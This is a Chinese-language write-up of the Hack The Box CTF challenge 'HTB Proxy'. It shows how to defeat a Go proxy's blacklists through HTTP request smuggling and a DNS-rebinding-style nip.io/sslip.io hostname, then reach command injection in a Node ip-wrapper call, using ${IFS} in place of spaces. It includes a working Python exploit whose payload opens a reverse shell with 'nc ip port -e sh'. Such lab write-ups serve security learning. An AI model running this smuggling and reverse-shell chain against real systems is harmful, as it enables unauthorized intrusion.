文章

HTB Proxy wp

分析

后端有一个flushInterface

app.post("/flushInterface", validateInput, async (req, res) => {
    const { interface } = req.body;
​
    try {
        const addr = await ipWrapper.addr.flush(interface);
        res.json(addr);
    } catch (err) {
        res.status(401).json({message: "Error flushing interface"});
    }
});
​
app.listen(5000, () => {
    console.log("Network utils API is up on :5000");
});

其中ip-wrapper库会拼接命令,有rce漏洞,这是我们最终利用点

虽然过滤了空格

const validateInput = (req, res, next) => {
    const { interface } = req.body;
​
    if (
        !interface || 
        typeof interface !== "string" || 
        interface.trim() === "" || 
        interface.includes(" ")
    ) {
        return res.status(400).json({message: "A valid interface is required"});
    }
​
    next();
}

但是linux下用${IFS}即可绕过

有个代理,golang,会有如下检查

  • host解析后不为本地回环

    func checkIfLocalhost(address string) (bool, error) {
        IPs, err := net.LookupIP(address)
        if err != nil {
            return false, err
        }
    ​
        for _, ip := range IPs {
            if ip.IsLoopback() {
                return true, nil
            }
        }
    ​
        return false, nil
    }

    还有ip地址过滤

    func blacklistCheck(input string) bool {
        var match bool = strings.Contains(input, string([]byte{108, 111, 99, 97, 108, 104, 111, 115, 116})) ||
            strings.Contains(input, string([]byte{48, 46, 48, 46, 48, 46, 48})) ||
            strings.Contains(input, string([]byte{49, 50, 55, 46})) ||
            strings.Contains(input, string([]byte{49, 55, 50, 46})) ||
            strings.Contains(input, string([]byte{49, 57, 50, 46})) ||
            strings.Contains(input, string([]byte{49, 48, 46}))
    ​
        return match
    }
  • 正文是否包含黑名单字符

    func checkMaliciousBody(body string) (bool, error) {
        patterns := []string{
            "[`;&|]",
            `\$\([^)]+\)`,
            `(?i)(union)(.*)(select)`,
            `<script.*?>.*?</script>`,
            `\r\n|\r|\n`,
            `<!DOCTYPE.*?\[.*?<!ENTITY.*?>.*?>`,
        }
    ​
        for _, pattern := range patterns {
            match, _ := regexp.MatchString(pattern, body)
            if match {
                return true, nil
            }
        }
        return false, nil
    }

    过滤了bash相关字符,有点难受

另外额外定义了一个路由,ban了flushInterface

    if request.URL == string([]byte{47, 115, 101, 114, 118, 101, 114, 45, 115, 116, 97, 116, 117, 115}) {
        var serverInfo string = GetServerInfo()
        var responseText string = okResponse(serverInfo)
        frontendConn.Write([]byte(responseText))
        frontendConn.Close()
        return
    }
​
    if strings.Contains(strings.ToLower(request.URL), string([]byte{102, 108, 117, 115, 104, 105, 110, 116, 101, 114, 102, 97, 99, 101})) {
        var responseText string = badReqResponse("Not Allowed")
        frontendConn.Write([]byte(responseText))
        frontendConn.Close()
        return
    }

这个路由挺有用的,会给当前ip,也就是说可以通过域名绕过本地回环过滤和ip过滤

func GetServerInfo() string {
    hostname, err := os.Hostname()
    if err != nil {
        hostname = "unknown"
    }
​
    addrs, err := net.InterfaceAddrs()
    if err != nil {
        addrs = []net.Addr{}
    }
​
    var ips []string
    for _, addr := range addrs {
        if ipNet, ok := addr.(*net.IPNet); ok && !ipNet.IP.IsLoopback() {
            if ipNet.IP.To4() != nil {
                ips = append(ips, ipNet.IP.String())
            }
        }
    }
​
    ipList := strings.Join(ips, ", ")
​
    info := fmt.Sprintf("Hostname: %s, Operating System: %s, Architecture: %s, CPU Count: %d, Go Version: %s, IPs: %s",
        hostname, runtime.GOOS, runtime.GOARCH, runtime.NumCPU(), runtime.Version(), ipList)
​
    return info
}

测试后发现,这个proxy会导致请求走私,并且

var bodySplit []string = strings.Split(string(requestBytes), "\r\n\r\n")
//省略
if len(bodySplit) <= 1 {
    return nil, fmt.Errorf("invalid content length")
}
var bodyContent string = bodySplit[1]

检查仅针对第一条请求,这便可以绕过以上一系列的过滤了。。。

攻击

首先获取ip

root@enoch:~# curl http://94.237.123.178:56437/server-status
Hostname: ng-2521611-webhtbproxybiz2024-yl0vu-656b98dbbb-2bwjd, Operating System: linux, Architecture: amd64, CPU Count: 4, Go Version: go1.21.10, IPs: 192.168.26.201

获取到ip为192.168.26.201,用自己的域名或者c0a81ac9.nip.io(16进制)

结合上面的分析写出脚本

import socket
​
host = "c0a81ac9.sslip.io:5000"
​
payload = '{"interface":";nc ip port -e sh"}'.replace(" ", "${IFS}")
​
a = "POST /flushInterface HTTP/1.1\r\n"
a += "Host: 127.0.0.1\r\n"
a += "Content-Type: application/json\r\n"
a += "Content-Length: {}\r\n\r\n{}".format(len(payload), payload)
​
b = "POST /getAddresses HTTP/1.1\r\n"
b += "Host: {}\r\n".format(host)
b += "Content-Type: application/x-www-form-urlencoded\r\n"
b += "Content-Length: 1\r\n\r\n1"
b += "\r\n\r\n{}".format(a)
​
​
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect(('94.237.123.178', 56437))
    s.sendall(b.encode("ascii"))

成功弹shell

cat /flaged150ff540.txt
HTB{xxxxxxxxxx_xxx_xxxxx_xxxx}


许可协议:  CC BY 4.0